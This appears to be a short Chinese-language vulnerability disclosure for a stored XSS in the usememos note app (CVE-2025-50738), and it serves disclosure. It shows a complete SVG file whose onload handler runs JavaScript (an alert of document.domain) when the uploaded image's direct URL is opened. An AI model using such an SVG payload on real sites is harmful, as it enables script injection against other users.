这非常简单,通过SVG实现存储型XSS是野外发现跨站脚本漏洞的常见方式,所以这是我首先尝试的方法之一。
我通过Pikapods部署了usememos,然后导航到首页并创建了一个账户。 使用该账户,我创建了一个"想法":
然后我创建了一个SVG文件,包含以下payload:
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>
该payload执行JavaScript,导致打印'document.domain'(所以它只显示'*.pikapod.net')。 我选择了文件,在本例中它叫xss6.svg,然后我可以"复制图片地址":
正如你所注意到的,XSS并没有在主页面内执行,遗憾的是。我尝试了一些技巧让它生效,但没有成功。 所以输入复制的URL,会触发一个XSS弹窗——显示URL:
关于此漏洞的更多信息,请参阅我的博客:https://tiem.io/cves/cve-2025-50738-stored-xss-via-svg/